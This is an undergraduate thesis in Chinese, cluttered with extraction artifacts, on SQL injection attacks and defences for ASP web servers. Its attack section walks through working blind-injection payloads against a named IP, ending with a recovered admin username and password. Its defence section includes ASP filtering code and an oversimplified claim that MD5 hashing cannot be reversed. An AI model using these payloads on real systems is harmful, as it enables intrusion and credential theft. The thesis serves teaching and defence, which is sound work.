基于web服務(wù)器sql漏洞入侵與防護

1、<p><b>　　湖 北 大 學</b></p><p>　　本 科 畢 業(yè) 論 文 （設(shè) 計）</p><p>　　題 目 基于web服務(wù)器SQL漏洞入侵與防護 </p><p>　　姓 名 </p><p>　　學 號

2、 </p><p>　　專業(yè)年級 </p><p>　　指導教師 </p><p>　　職 稱 </p><p>　　2013年 04 月 20 日</p>&l

3、t;p><b>　　目錄</b></p><p>　　1緒論錯誤!未定義書簽。</p><p>　　1.1研究背景錯誤!未定義書簽。</p><p>　　1.2研究現(xiàn)狀和意義錯誤!未定義書簽。</p><p>　　2web服務(wù)器SQL漏洞入侵錯誤!未定義書簽。</p><p>

4、;　　2.1方法簡單介紹錯誤!未定義書簽。</p><p>　　2.2 搜尋網(wǎng)站SQL注入點........................................3</p><p>　　2.3 驗證漏洞后通過SQL入侵得到用戶名和密碼5</p><p>　　2.4 開始破解5</p><p>　　2.4

5、.1 破解表名5</p><p>　　2.4.2 破解列名6</p><p>　　2.4.3 破解列名的長度username錯誤!未定義書簽。</p><p>　　2.4.4 破解username的內(nèi)容8</p><p>　　2.4.5 用所得到的用戶名和密碼登陸10</p><p>　　3 web服務(wù)器

6、SQL漏洞防護11</p><p>　　3.1簡單介紹11</p><p>　　3.2對用戶輸入的數(shù)據(jù)進行過濾11</p><p>　　3.2.1 基礎(chǔ)過濾與二次過濾11</p><p>　　3.2.2 使用SQL通用防注入程序進行過濾11</p><p>　　3.3 設(shè)置錯誤提示信息12</p>

7、;<p>　　3.4 使用專業(yè)的漏洞掃描工具14</p><p>　　3.5 對重要數(shù)據(jù)進行加密14</p><p><b>　　4結(jié)論15</b></p><p><b>　　參考文獻16</b></p><p>　　基于web服務(wù)器SQL漏洞入侵與防護</p>

8、<p><b>　　摘 要</b></p><p>　　由于互聯(lián)網(wǎng)的普遍應(yīng)用，Web應(yīng)用平臺早已漸漸發(fā)展成為互聯(lián)網(wǎng)信息交互的中心，但是跟隨而來的是Web應(yīng)用遭遇到日漸嚴重的安全威脅問題，怎樣確保Web應(yīng)用安全，現(xiàn)已變成一個及其重要的探索課題。根據(jù)Web應(yīng)用的入侵與傳統(tǒng)web入侵比較，具有很多新特點，比如利用常見的H1]印協(xié)議攜帶惡意數(shù)據(jù)，使得傳統(tǒng)的web層防火墻和入侵檢測系統(tǒng)根本

9、不能辨別，所以得從應(yīng)用層的角度出發(fā)進行安全防護。</p><p>　　本文首先探索了Web應(yīng)用安全產(chǎn)生的原因和其目前面對的重要安全威脅，進而根據(jù)Web應(yīng)用平臺提出了一個安全解決方案。進而更加深入的研究了SQL注入攻擊這種影響非常嚴重的Web應(yīng)用入侵以及防護技術(shù)，并且在純理論研究的根基上對提出的安全防護機制進行了設(shè)計與實現(xiàn)。</p><p>　　對于SQL注入攻擊，本文探討了它的入侵行為以及

10、語句特點，采用正則表達式對入侵特點進行了很完整的解釋；而在研究SQL注入防護技術(shù)的基礎(chǔ)上，本文主要在服務(wù)端過濾技術(shù)設(shè)計的基礎(chǔ)上解決了Web服務(wù)端SQL注入攻擊過濾器。此過濾器在HTTP請求提交Web服務(wù)器系統(tǒng)模塊處理前，解析請求數(shù)據(jù)，及時攔截攻擊入侵行為而且加以警告；根據(jù)采用基于攻擊特征的正則表達式描述解釋過濾規(guī)則，減小了過濾機制的誤報率和漏報率；而且在此期間結(jié)合IP訪問限制功能，可以防止入侵者進行窮舉式SQL注入攻擊。</p&g

11、t;<p>　　之后的測試結(jié)果說明，本文設(shè)計實現(xiàn)的攻擊防御機制可以很好的防止SQL注入，而且對服務(wù)器響應(yīng)延遲和負載影響很小。</p><p>　　關(guān)鍵詞 Web應(yīng)用安全， SQL注入入侵 ，SQL防護</p><p>　　Based on the web server SQL exploits and protection</p><p><b

12、>　　Abstract </b></p><p>　　With the widely spread of the Internet, web application platform has become the communication center of the Internet．But at the same time，the threats to the web application

13、 are very serious．How to protect web applications’security is very important．The attacks to the web application，comparing with traditional network attacks，have many new features，such as using HTTP protocol to carry malic

14、ious data，which can not be detected by the firewall and intrusion detection system．So we must defense the at</p><p>　　In this paper we study the origin and common threat of web application security firstly．T

15、hen we research and implement a protect module to protect web sites from SQL injection.</p><p>　　To defend SQL injection，we analyze the characteristic of SQL injection and construct the regular expression fo

16、r these attacks．Then we design a SQL injection attack filter module inside web server, which is based on the filter rules using regular expression．This module can defend common SQL injections，which detects the attacks be

17、fore the HTTP requests handled by the system modules．With the IP limit mechanism，this module can protect web server from exhaustive attacks launched by hackers．</p><p>　　The test results show that the module

18、s can prevent SQL injection effectively, with very little influence to the web application platform．</p><p>　　【Key words】：web application security, defense technology, SQL injection</p><p><b

19、>　　1.緒論</b></p><p><b>　　1.1研究背景</b></p><p>　　由于信息化建設(shè)的逐漸普及，企事業(yè)單位，不管是建設(shè)其自用的業(yè)務(wù)應(yīng)用系統(tǒng)，還是構(gòu)建僅對外信息的發(fā)布平臺，都不能沒有Web應(yīng)用技術(shù)。Web應(yīng)用技術(shù)不單單給user供應(yīng)一個簡便的交互平臺，而且同時給信息server供應(yīng)了一種搭建信息system的標準技術(shù)。但是隨著

20、Web應(yīng)用平臺應(yīng)用日漸廣泛，對于Web應(yīng)用程序的入侵也多了起來，web應(yīng)用安全正遭遇越來越嚴重的威脅和挑戰(zhàn)</p><p>　　美國web安全server的CENZIC的分析報告表明，2008年web攻擊入侵事件有80％是對Web應(yīng)用平臺進行的，之后到2009年，這一入侵比例上升到了82％。另外根據(jù)CNCERT／CC研究表明，2006年至2007年，中國內(nèi)陸web惡意掛馬事件增長了2．6倍，而被更改web數(shù)量增長

21、了1．5倍，2009年國內(nèi)被更改web數(shù)量已經(jīng)達到4．2萬個，這種惡意攻擊入侵嚴重地影響了Web應(yīng)用平臺的日常運作。</p><p>　　現(xiàn)在對于Web應(yīng)用層的入侵已經(jīng)多達到上千上萬種，其中最常見的攻擊入侵有：以SQL注入攻擊為代表的各種注入攻擊入侵、非法篡改網(wǎng)站頁面、網(wǎng)頁惡意掛馬等等。各種web入侵采用的漏洞攻擊入侵方法不完全相同，甚至同樣的攻擊都可以運用各種各樣的手段，從而達到入侵者最終的目的。</p&

22、gt;<p>　　以SQL注入攻擊為例，如果web應(yīng)用producer寫的代碼根本未對user輸入數(shù)據(jù)的合法性進行判斷，入侵者就可以編造惡意SQL語句，以便得到一些重要的數(shù)據(jù)，更有甚者，可以得到server最高執(zhí)行權(quán)限。與此同時，SQL注入攻擊入侵可以采用HTTP協(xié)議中的GET方法、POST方法以及Cookie數(shù)據(jù)等多種途徑發(fā)起，入侵者就可以不間斷的整合入侵參數(shù)來達到最終目的。</p><p>　　

23、圖1．1描述了目前較為典型的一種Web應(yīng)用平臺架構(gòu)，客戶端(一般稱為Web瀏覽器)向Web服務(wù)器send請求，Web服務(wù)器將請求再轉(zhuǎn)發(fā)到應(yīng)用邏輯服務(wù)器或者Web應(yīng)用程序處理，其中估計會涉及到與數(shù)據(jù)庫服務(wù)器的交互。Web應(yīng)用程序完成邏輯數(shù)據(jù)后，將響應(yīng)內(nèi)容返回給客戶端。為確保Web應(yīng)用平臺的安全，許多公司都在web邊界上設(shè)置了防火墻或入侵檢測系統(tǒng)。但是防火墻和入侵檢測系統(tǒng)僅僅只阻攔對網(wǎng)絡(luò)層的入侵，而當入侵者采用Web應(yīng)用程序漏洞進行針對性入

24、侵時候，防火墻和入侵檢測系統(tǒng)就沒辦法了。網(wǎng)絡(luò)防火墻可以面對端口實行訪問控制功能，然而防火墻必須能夠讓HTTP和HTTPS協(xié)議數(shù)據(jù)通過，來確保能夠?qū)ν庹５墓?yīng)Web服務(wù)。假設(shè)入侵代碼被移植到HTTP通信數(shù)據(jù)中，這樣防火墻就不能辨別這樣的通信數(shù)據(jù)合法性，反而不能防護這種入侵。比如，SQL注入攻擊就是利用合法的HTTP通信數(shù)據(jù)，它在HTTP請求實體中植入惡意SQL查詢代碼，而安全地通過web防火墻，來達到攻擊內(nèi)網(wǎng)數(shù)據(jù)庫的目的。入侵檢測系統(tǒng)也

25、工作在網(wǎng)絡(luò)層上，也依據(jù)特殊方法檢查攻擊行為，然而入侵檢測系統(tǒng)對應(yīng)用層數(shù)據(jù)的析構(gòu)能力也有限。</p><p>　　綜上可以看出，傳統(tǒng)網(wǎng)絡(luò)層的安全防護系統(tǒng)不能夠很好的應(yīng)對應(yīng)用層協(xié)議數(shù)據(jù)，更加不能夠根據(jù)Web應(yīng)用程序深層次解析請求內(nèi)容，從而不能夠防御對于Web應(yīng)用程序的入侵。對其根本講，以應(yīng)用層為基礎(chǔ)的入侵本源上是由Web應(yīng)用程序漏洞引起的，而Web應(yīng)用程序producer的技術(shù)上或者經(jīng)驗上的緣由，未能有效應(yīng)對各種We

26、b應(yīng)用安全問題，最后產(chǎn)生了Web應(yīng)用層漏洞。但是實際情況下，讓所有的producer在編寫Web應(yīng)用程序時都注意防御這些漏洞不是很現(xiàn)實，并且Web應(yīng)用攻擊入侵方式的不間斷的更新也讓只依據(jù)應(yīng)用程序本身不能有效的防御各種各樣的攻擊。因此，研究專門的Web安全防護策略來確保Web應(yīng)用平臺的安全。</p><p>　　1.2研究現(xiàn)狀和意義</p><p>　　當前防御采用HTTP協(xié)議進行的Web應(yīng)

27、用攻擊入侵，主要利用的技術(shù)是對Web服務(wù)器的功能做延展，在Web服務(wù)器軟件中加入安全防護板塊，就能夠在HTTP請求數(shù)據(jù)被Web服務(wù)器系統(tǒng)模塊處理之前進行安全檢查，區(qū)別通常的user訪問和入侵者的非法數(shù)據(jù)，這種技術(shù)稱為“Web服務(wù)器擴展技術(shù)”或者“Web服務(wù)器模塊開發(fā)技術(shù)”，它可以及時有效的防護例如SQL注入攻擊等利用正常HTTP通信數(shù)據(jù)的入侵。但是僅僅利用Web服務(wù)器延展技術(shù)不可以防護所有類型的入侵，各種各樣的入侵原理及模式的不同決定了

28、相對應(yīng)的防御技術(shù)也必然會有所不同。</p><p>　　比如，防護SQL注入攻擊的重點是可以辨別出HTTP請求中的注入字符串。對于SQL注入攻擊的防御技術(shù)，有靜態(tài)檢查、服務(wù)端過濾、SQL參數(shù)化查詢等。而且，華中科技大學周敬利提出了SQL語法預(yù)分析技術(shù)，它是一種較新的SQL注入防御技術(shù)，利用user提供的表單數(shù)據(jù)和上下文環(huán)境組建出一條SQL語句，并且對該SQL語句的框架特點進行析構(gòu)從而辨別攻擊入侵行為。這種技術(shù)在原

29、先產(chǎn)生的字符串過濾技術(shù)的根基上進行更進，給SQL注入防護技術(shù)提交了一種新的思維。</p><p>　　Web應(yīng)用安全的威脅日漸嚴重，逐漸增多的的國內(nèi)外公司和科研機構(gòu)開始進行到Web應(yīng)用安全防護技術(shù)的研究，從而Web應(yīng)用安全防護技術(shù)逐漸取得進步，多種多樣的研究成果逐漸出現(xiàn)。全世界關(guān)于Web應(yīng)用安全的代表產(chǎn)品主要有：國內(nèi)中創(chuàng)軟件商用中間件股份有限公司以國家863技術(shù)成果為基礎(chǔ)研發(fā)的InfoGuard網(wǎng)頁防篡改中間件，

30、以及上海天存信息技術(shù)有限公司采用Web服務(wù)器擴展技術(shù)研發(fā)的iWall應(yīng)用層防火墻；國外IBM公司開發(fā)的應(yīng)用層安全漏洞掃描系統(tǒng)的Rational web application security solutions等。但是，一些商業(yè)原因使這些公司的技術(shù)并沒有公布，僅僅在基本防御策略上有一點理解；另外，對于Web應(yīng)用的攻擊方式和手段也不斷改進和演化，促使我們需要不斷研究新的防護技術(shù)與策略。</p><p>　　總而言

31、之，隨著動態(tài)解析模式的Web應(yīng)用程序的產(chǎn)生，Web應(yīng)用平臺遭遇著由Web應(yīng)用程序漏洞所引發(fā)的安全威脅。怎樣有效的應(yīng)對這些安全問題，以應(yīng)用層的角度來防護Web應(yīng)用平臺的安全，已成一項重要的研究課題。研究Web應(yīng)用安全防御技術(shù)，對于保障Web應(yīng)用平臺的安全運行，以及保障Web應(yīng)用訪問客戶的隱私和安全都有著重要意義。</p><p>　　2.web服務(wù)器SQL漏洞入侵</p><p><b

32、>　　2.1簡單介紹</b></p><p>　　本文的攻擊方法成為SQL注入，由于本人初次學習，所以本實驗的攻擊方法為手動輸入SQL攻擊asp網(wǎng)站。獲得網(wǎng)站的登錄權(quán)限。攻擊網(wǎng)站首頁如下</p><p>　　2.2搜尋網(wǎng)站SQL注入點</p><p>　　嘗試幾個有傳入?yún)?shù)的頁面，逐個測試是否有SQL注入漏洞，識別方法為：把網(wǎng)址欄的ID=***x加

33、個號，或在表單輸入號，如果提示表達式錯誤，表示有漏洞可注入，另外，通過這個方式可以得到程序所用的數(shù)據(jù)庫類型。</p><p>　　點擊北京鏈接會發(fā)現(xiàn)地址欄中出現(xiàn)了變量，直接在后面加入“’”返回錯誤，初步判斷有注入漏洞。</p><p>　　進行驗證是否存在SQL注入漏洞，驗證方法如下：</p><p>　　在這里我們可以看到幾條信息，第一錯誤信息上位JET 

34、;database基本可以肯定為access數(shù)據(jù)庫。第二出現(xiàn)字符串語法錯誤有可能存在注入漏洞。第三我們提交的字符串被單引號包含著說明是字符型。接下來利用字符型判斷語句“' and '1'='1”和“'and '1'='2”測試。會發(fā)現(xiàn)“' and '1'='1”返回正確而“' 

35、;and '1'='2”返回錯誤肯定存在注入漏洞。</p><p>　　2.3驗證漏洞后通過SQL入侵得到用戶名和密碼</p><p>　　此處我們破解的流程如下：判斷數(shù)據(jù)庫表名—> 判斷數(shù)據(jù)庫列名—>判斷列名字段個數(shù)—>字段猜解</p><p>　　下面沾出實驗的五個語句，然后慢慢帶著大家破解</

36、p><p>　　測試數(shù)據(jù)庫中字段長度</p><p>　　http://202.114.145.8/index.asp?city=bj'and (select top 1 len(tel)from info)>10and'1'='1</p><p><b>　　猜測數(shù)據(jù)庫中表</b></p>&l

37、t;p>　　' and exists (select * from admin) and '1'='1</p><p>　　猜測數(shù)據(jù)庫中字段子列</p><p>　　' and exists (select admin

38、0;from info) and '1'='1</p><p>　　利用二分法猜測數(shù)據(jù)庫中的信息條數(shù)</p><p>　　' and (select Count(1) from [info] where 1=1) between 0

39、0;and 100 and '1'='1</p><p>　　猜測數(shù)據(jù)庫中值得代碼</p><p>　　http://202.114.145.8/index.asp?city=bj'and (select top 1 asc(mid(city,1,1))from info)>97and'1'='1&

40、lt;/p><p><b>　　2.4開始破解</b></p><p><b>　　2.4.1破解表名</b></p><p>　　在地址欄后加上' and exists (select * from 表名) and '1'

41、='1</p><p>　　當常用表名輸入info時系統(tǒng)返回正常圖面如下</p><p>　　我們再隨意輸入一個表名“' and exists (select * from admin) and '1'='1”發(fā)現(xiàn)返回錯誤并且錯誤寫著找不到輸入表admin，這就說明不存在

42、admin表但是存在info表。</p><p><b>　　2.4.2破解列名</b></p><p>　　首先經(jīng)過對表名的破解大家已經(jīng)有了基礎(chǔ)，還是破解列名的方法也是一樣的如下</p><p><b>　　猜測列名語句</b></p><p>　　猜測數(shù)據(jù)庫中字段子列</p>&l

43、t;p>　　' and exists (select 列名 from info) and '1'='1</p><p>　　將列名換成username反饋正常判斷有username</p><p>　　接下來我們將列名換成admin發(fā)現(xiàn)反饋錯從而判斷有username<

44、;/p><p>　　按照同樣的方法我們現(xiàn)在可以猜出有列名password</p><p>　　總結(jié)下，現(xiàn)在我們已經(jīng)破解出來了表，info，列名username，列名password</p><p>　　2.4.3破解列名的長度username</p><p>　　破解語句如下測試數(shù)據(jù)庫中字段長度</p><p>　　htt

45、p://202.114.145.8/index.asp?city=bj'and (select top 1 len(字段名)from info)>數(shù)字Nand'1'='1</p><p>　　如上我們將字段名換成username數(shù)字Ｎ換成１．２．３．４．直到顯示錯誤判斷字段的長度</p><p>　　如下圖當Ｎ＝４時反饋正常，當Ｎ＝５時反饋不正常，從而

46、判斷ｎ＝５所以username字段長度為5</p><p><b>　　N=4反饋正常</b></p><p>　　如下N=5反饋不正常</p><p>　　總結(jié)下，現(xiàn)在我們已經(jīng)破解出來了表，info，列名username，列名password</p><p>　　列名username長度5列名password長度2&l

47、t;/p><p>　　2.4.4破解username的內(nèi)容</p><p>　　猜測數(shù)據(jù)庫中值得代碼</p><p>　　http://202.114.145.8/index.asp?city=bj'and (select top 1 asc(mid(列名,Ｎ,1))from info)>mand'1'='1</p>

48、<p>　　如上述語句列名我們填寫username，N分別寫上1.2.3.4.5表示列名的位數(shù)，M表示列名位數(shù)N的asc的值， M為65-122. 如上述語句中主要的函數(shù)就是asc(mid(列名,Ｎ,1)反饋asc數(shù)值，理論不如行動</p><p>　　如上列名username，N=1，m=103,m=104反饋正常和不正常截圖如下</p><p><b

49、>　　M=103</b></p><p><b>　　M=104</b></p><p><b>　　有上述可以知道</b></p><p>　　asc(mid(username,1,1))=104同理</p><p>　　asc(mid(username,2,1))=117<

50、;/p><p>　　asc(mid(username,3,1))=97</p><p>　　asc(mid(username,4,1))=110</p><p>　　asc(mid(username,5,1))=103</p><p>　　由asc表可以得知char(104)=h,char(117)=u,char(97)=a,char(110)=

51、n,char(103)=g</p><p>　　綜合上述分析我們得到用戶名username：huang</p><p>　　同理我們得到密碼 password；fu</p><p>　　2.4.5用所得到的用戶名和密碼登陸</p><p>　　用破解的用戶名和密碼登陸截圖</p><p><b&

52、gt;　　登陸結(jié)果截圖如下</b></p><p>　　到此為止成功入侵網(wǎng)站后臺</p><p>　　3.web服務(wù)器SQL漏洞防護</p><p><b>　　3.1簡單介紹</b></p><p>　　SQL注入攻擊的危害性比較大，現(xiàn)在已經(jīng)嚴重影響到程序的安全，所以必須從網(wǎng)站設(shè)計開始來防御SQL注入漏洞的

53、存在。在防御SQL注入攻擊時，程序員必須要注意可能出現(xiàn)安全漏洞的地方，其關(guān)鍵所在就是用戶數(shù)據(jù)輸入處。</p><p>　　3.2 對用戶輸入的數(shù)據(jù)進行過濾</p><p>　　目前引起SQL注入的原因是程序員在編寫網(wǎng)站程序時對特殊字符不完全過濾。造成這樣的現(xiàn)象還是因為程序員對腳本安全沒有足夠的意識，或者考慮不周引起的。常見的過濾方法有基礎(chǔ)過濾，二次過濾以及SQL通用防注入程序等多種方式&l

54、t;/p><p>　　3.2.1 基礎(chǔ)過濾與二次過濾</p><p>　　在SQL注入入侵前，需要在可修改參數(shù)中提交“·”，“and”等特殊字符來判斷是否存在SQL注入漏洞；而在進行SQL注入攻擊時，需要提交包含“；”，“--” </p><p>　　“update”，“select”等特殊字符的SQL注入語句。所以要防范SQL注入，則需要在用戶輸入或提交

55、變量時，對單引號，雙引號，分號，逗號，冒號等特殊字符進行轉(zhuǎn)換或過濾，以很大程度減少SQL注入漏洞存在的可能性。</p><p>　　下面是一個ID變量的過濾性語句：</p><p>　　If instr（request（＂id＂），＂,＂）>0 or instr(request（＂id＂），＂insert＂)>or instr（request（＂id＂），＂;＂）&

56、gt;0 then response.write＂</p><p>　　<SCRIPT language=javascript></p><p>　　Javascript:history.go(-1);</p><p><b>　　</SCRIPT></b></p><p>　　Response.

57、end</p><p><b>　　end if</b></p><p>　　使用上述代碼可以過濾ID參數(shù)中的“；”，“，”和“insert”字符。如果在ID參數(shù)中包含有這幾個字符，則會返回錯誤頁面。但危險字符遠不止這幾個，要過濾其他字符，只需將危害字符采加入上面的代碼即可。一般情況下，在獲得用戶提交的參數(shù)時，首先要進行一些基礎(chǔ)性的過濾，然后再根據(jù)程序相應(yīng)的功能以及用

58、戶輸入進行二次過濾。</p><p>　　3.2.2使用SQL通用防注入程序進行過濾</p><p>　　通過手工的方法對特殊字符進行過濾難免會留下過濾不嚴的漏洞。而使用“SQL通用防注入程序”可以全面地對程序進行過濾，從而很好的阻止SQL腳本注入漏洞的產(chǎn)生。</p><p>　　將從網(wǎng)上下載的“SQL通用防注入程序V3.0”存放在自己網(wǎng)站所在的文件夾中，需要進行簡

59、單設(shè)置就可以輕松幫助程序員防御SQL注入，這是一種簡單的過濾方法。該程序全面處理通過POST和GET兩種方式提交的SQL注入，并且自定義需要過濾的字符串。當黑客提交SQL注入危險信息時，它就會自動記錄黑客的IP地址，提交數(shù)據(jù)，非法操作等信息。</p><p>　　除對用戶提交的參數(shù)和變量進行過濾外，也可以直接限制用戶可輸入的參數(shù)，因為只允許提交有限的字符遠比過濾特定的字符更為安全。</p><

60、p>　　3.3設(shè)置錯誤提示信息</p><p>　　SQL注入主要依據(jù)是IIS給出的ASP錯誤信息，所以配置IIS和數(shù)據(jù)庫用戶權(quán)限，可以阻止SQL注入攻擊。具體的操作步驟如下：</p><p>　　在“管理工具”窗口雙擊“Internet信息服務(wù)”圖標，即可打開“Internet信息服務(wù)”窗口，如圖</p><p>　　依次打開“本地計算機”—“網(wǎng)址”分，右擊

61、其中的“默認網(wǎng)站”圖標，在快捷菜單中選擇“屬性”選項，即可打開“默認網(wǎng)站屬性”對話框，如圖</p><p>　　切換到“自定義錯誤”選項卡，在“HTTP錯誤”列表中選擇“500：100”選項，如圖所示。</p><p>　　單擊“編輯屬性”按鈕，即可打開“錯誤映射屬性”對話框，在“消息類型”下拉列表中選擇“默認值”選項，如圖所示，單擊“確定”按鈕，即可完成對錯誤提示信息的設(shè)置。</p

62、><p>　　3.4使用專業(yè)的漏洞掃描工具</p><p>　　企業(yè)應(yīng)當投資于一些專業(yè)漏洞的掃描工具，如Acunetix的web漏洞掃描程序等。一個完善的漏洞掃描程序可以查找網(wǎng)站上的SQL注入式漏洞；而程序員應(yīng)當使用漏洞掃描工具和站點監(jiān)視工具對網(wǎng)站進行測試。</p><p>　　3.5對重要數(shù)據(jù)進行加密</p><p>　　采用加密技術(shù)對一些重要

63、的數(shù)據(jù)進行加密，比如用MD5加密，MD5沒有反向算法，也不能解密，就可以防范對網(wǎng)站的危害了。</p><p><b>　　4.結(jié)論</b></p><p>　　在本論文中，主要涉及到一種基于WEB服務(wù)器SQL漏洞入侵以及防護。SQL(Structured Query Language，結(jié)構(gòu)化查詢語言)是專為數(shù)據(jù)庫設(shè)計的解釋型語言，可用于讀取、更新、增加或者刪除數(shù)據(jù)庫中

64、保存的信息。在Web應(yīng)用程序中，SQL語言解釋器處理的數(shù)據(jù)實際上是由程序員編寫的代碼和用戶提交的數(shù)據(jù)共同組成的，入侵者可以提交設(shè)計的輸入向應(yīng)用程序發(fā)起攻擊入侵，而這些輸入一般對于應(yīng)用程序來說，有特殊意味的SQL語句。如果Web應(yīng)用程序之中有漏洞，也就是說producer寫的代碼未對數(shù)據(jù)庫做相關(guān)的user輸入合法性檢測，那應(yīng)用程序就會依照入侵者的意圖執(zhí)行。從而，入侵者能夠采用這種漏洞入侵目標Web應(yīng)用程序的數(shù)據(jù)庫組件，進行注入惡意SQL語

65、句，再竊取數(shù)據(jù)庫中的重要信息甚至獲取對數(shù)據(jù)庫服務(wù)器的完全控制。在針對前人在實驗室做的一個web,我開始進行SQL注入攻擊，剛開始不得其要，始終攻入不了，在別人的幫助下，進行一些SQL語句的改變，進而徹底攻入實驗室的網(wǎng)站。而在防御SQL注入攻擊時，我查看了學校圖書館的相關(guān)書籍，對網(wǎng)站進行了一些防護，把漏洞給補上來了。因此要防護SQL注入攻擊，程序員必</p><p><b>　　參考文獻</b>

66、;</p><p>　　1.陳鳴．網(wǎng)絡(luò)工程設(shè)計教程：系統(tǒng)集成方法fMl．北京：機械工業(yè)出版社，2008．</p><p>　　2.馮吳，黃治虎．交換機／路由器的配置與管理【M】一E京：清華大學出版社，2009．</p><p>　　3.張興華，張曉．計算機網(wǎng)絡(luò)工程實踐教程[m1．北京：北京大學出版社，2010．</p><p>　　4.徐乇國

67、，韓兆君．Web應(yīng)用程序中的數(shù)據(jù)庫安全策略[J1．電腦知識與技術(shù)，2007(1)：23．</p><p>　　5.寂寞的刺猬．上傳漏澗的形成【J1．黑客防線，2006(4)：19-22．</p><p>　　6.王繼龍．常見Web應(yīng)用安全漏洞及應(yīng)對策略【J1．中國教育網(wǎng)絡(luò)，2007(8)：75-75．</p><p>　　7.周敬利，王曉鋒，余勝生，夏洪濤．一種新的

68、反SQL注入策略的研究與實現(xiàn)【J】．計算機科學，2006，33(1 1)：64—68．</p><p>　　8.上海天存信息技術(shù)有限公司．W，eb應(yīng)用安全[EB／OL]．http：／／www．tcxa．com．cIl／iw甜Uapp—SCC．h仃n1．</p><p>　　9.趙靜．使用Rational AppScan保證Web應(yīng)用的安全性，第l部分：Web安全與Rational AppS

69、can入f-j【EB／OL]．http：／／www．ibm．corn／developerworks／cnrationalr-en-appscanl，2007．</p><p>　　10.孫昕．使用Rational AppScan保證Web應(yīng)用的安全性，第2部分：使用Ratio．nal AppScan應(yīng)對W曲應(yīng)用攻擊[EB／OL]．http：／／www．ibm．com／developerworks／cn／ratio

70、nal／r-cn-appscan2，2007．</p><p>　　11.周敬利，王曉鋒，余勝生，夏洪濤．一種新的反SQL注入策略的研究與實現(xiàn)</p><p>　　【J】．計算機科學，2006，33(1 1)：64—68．</p><p><b>　　致 謝</b></p><p>　　冰凍三尺，非一日之寒。經(jīng)過近半年來

71、的努力，這篇畢業(yè)論文也順利完成?；貞涍^去的日子，除了激動我更多的是感動，沒有周圍人的幫助，我是很難完成這個艱巨的任務(wù)的。首先我要感謝我的指導老師，張老師平日工作繁忙，還在百忙之中分出精力來給予我悉心的指導，幫我修改論文中的錯誤。除了敬佩張老師的專業(yè)水平外，他的嚴謹?shù)闹螌W態(tài)度和科學研究的精神也是值得我永遠學習的。我還要感謝我的師兄，在實驗室里正是他們和我一起克服重重難關(guān)，完成實驗環(huán)節(jié)的各個突破，才得來這來之不易的數(shù)據(jù)，沒有他們的幫助我?guī)缀?/p>